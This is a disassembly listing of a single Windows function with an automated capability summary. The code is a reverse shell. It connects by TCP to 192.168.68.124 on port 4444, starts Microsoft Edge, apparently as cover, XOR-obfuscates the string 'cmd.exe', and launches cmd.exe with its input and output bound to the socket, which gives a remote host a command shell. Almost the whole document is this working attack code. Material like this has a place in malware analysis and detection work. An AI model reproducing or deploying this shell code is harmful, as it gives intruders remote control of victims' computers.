Function at 0x1400015e0
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Connect udp socket
Create a process with modified i/o handles and window
Create process on windows
Create tcp socket
Create udp socket
Initialize winsock library

Disassembly:
push rbp
sub rsp, 0x2b0
lea rbp, [rsp + 0x80]
call sym.__main
lea rax, [rbp + 0x80]
mov rdx, rax
mov ecx, 0x202
mov rax, qword [sym.imp.WS2_32.dll_WSAStartup]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 6
mov edx, 1
mov ecx, 2
mov rax, qword [sym.imp.WS2_32.dll_WSASocketA]
call rax
mov qword [rbp + 0x228], rax
mov word [rbp + 0x70], 2
lea rax, str.192.168.68.124
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_inet_addr]
call rax
mov dword [rbp + 0x74], eax
mov ecx, 0x115c
mov rax, qword [sym.imp.WS2_32.dll_htons]
call rax
mov word [rbp + 0x72], ax
lea rax, [rbp + 0x70]
mov rcx, qword [rbp + 0x228]
mov r8d, 0x10
mov rdx, rax
mov rax, qword [sym.imp.WS2_32.dll_connect]
call rax
test eax, eax
jne 0x1400018d2
lea rax, str.msedge.exe
mov rcx, rax
call sym.find_process_id
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0
jne 0x14000179b
mov rax, rbp
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 1
mov word [rbp + 0x40], 0
lea rax, [rbp - 0x20]
mov qword [rsp + 0x48], rax
mov rax, rbp
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
lea rax, str.C:Program_Files__x86_MicrosoftEdgeApplicationmsedge.exe
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x140001756
lea rax, str.Falha_ao_abrir_o_Microsoft_Edge.
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400018f3
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
lea rax, str.msedge.exe
mov rcx, rax
call sym.find_process_id
mov dword [rbp + 0x224], eax
cmp dword [rbp + 0x224], 0
jne 0x14000179b
lea rax, str.Falha_ao_localizar_o_processo_msedge.exe_aps_a_abertura.
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400018f3
movabs rax, 0x6578652e646d63
mov qword [rbp - 0x28], rax
call sym.generate_random_key
mov byte [rbp + 0x223], al
movsx edx, byte [rbp + 0x223]
lea rax, [rbp - 0x28]
mov r8d, edx
mov edx, 7
mov rcx, rax
call sym.xor_encrypt
mov rax, rbp
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp], 0x68
mov dword [rbp + 0x3c], 0x101
mov rax, qword [rbp + 0x228]
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x60]
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x58]
mov qword [rbp + 0x50], rax
mov word [rbp + 0x40], 0
movsx edx, byte [rbp + 0x223]
lea rax, [rbp - 0x28]
mov r8d, edx
mov edx, 7
mov rcx, rax
call sym.xor_encrypt
lea rax, [rbp - 0x28]
lea rdx, [rbp - 0x20]
mov qword [rsp + 0x48], rdx
mov rdx, rbp
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 1
mov r9d, 0
mov r8d, 0
mov rdx, rax
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
jne 0x14000189d
lea rax, str.Falha_ao_iniciar_cmd.exe.
mov rcx, rax
call sym.puts
mov eax, 1
jmp 0x1400018f3
mov rax, qword [rbp - 0x20]
mov edx, 0xffffffff
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
call rax
mov rax, qword [rbp - 0x20]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp - 0x18]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov rax, qword [rbp + 0x228]
mov rcx, rax
mov rax, qword [sym.imp.WS2_32.dll_closesocket]
call rax
mov rax, qword [sym.imp.WS2_32.dll_WSACleanup]
call rax
mov eax, 0
add rsp, 0x2b0
pop rbp
ret